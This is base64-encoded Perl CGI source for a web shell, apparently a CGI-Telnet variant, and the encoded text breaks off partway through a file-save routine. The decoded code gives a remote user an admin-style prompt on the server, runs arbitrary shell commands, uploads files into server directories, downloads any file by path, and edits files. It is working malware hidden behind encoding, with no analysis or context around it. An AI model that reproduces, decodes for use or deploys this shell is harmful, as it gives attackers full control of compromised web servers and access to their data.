LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+DQo8bGFiZWwgZm9yPSJ1cCI+T3ZlcndyaXRlIGlmIGl0IEV4aXN0czwvbGFiZWw+PGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KDQo8L2Zvcm0+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlyZXR1cm4gPDxFTkQ7DQo8L3RleHRhcmVhPg0KPGJyPjxmb250IGNvbG9yPXllbGxvdz4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+DQpFTkQNCgl9DQp9DQoNCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyDQojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaA0KIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5Lg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KCWxvY2FsKCRGaWxlVXJsKSA9IEBfOw0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRyZXN1bHQgLj0gPDxFTkQ7DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPg0KRU5EDQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOw0KCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCW15ICRyZXN1bHQgPSAiIjsNCglsb2NhbCgkU2VuZEZpbGUpID0gQF87DQoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQliaW5tb2RlKFNFTkRGSUxFKTsNCgkJCWJpbm1vZGUoU1RET1VUKTsNCgkJfQ0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOw0KCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOw0KCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQoJCWNsb3NlKFNFTkRGSUxFKTsNCgkJZXhpdCgxKTsNCgl9DQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsNCgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07DQoNCgl9DQoJbXkgJHJlc3VsdD0iIjsNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIHJ1biBjb21tYW5kDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCnN1YiBSdW5DbWQNCnsNCglteSAkcmVzdWx0PSIiOw0KCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KCX0NCglpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJew0KCQkkfD0xOw0KCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQl7DQoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsNCgkJfQ0KCQkkfD0wOw0KCX0NCgllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgl7DQoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJyRDb21tYW5kJyk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOw0KCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsNCgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsNCglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsNCglpZigtdyAkRmlsZSkNCgl7DQoJCSRyb3dzPSIyMyINCgl9ZWxzZQ0KCXsNCgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOw0KCQkkcm93cz0iMjAiDQoJfQ0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCgkkcmVhZD0oJFdpbk5UKT8idHlwZSI6Imxlc3MiOw0KCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7DQoJJHJlc3VsdCAuPSAgPDxFTkQ7DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KCSRQcm9tcHQNCgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPg0KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQoJPGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21tYW5kIDwvcnVuPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cNCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4NCkVORA0KCQ0KCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09P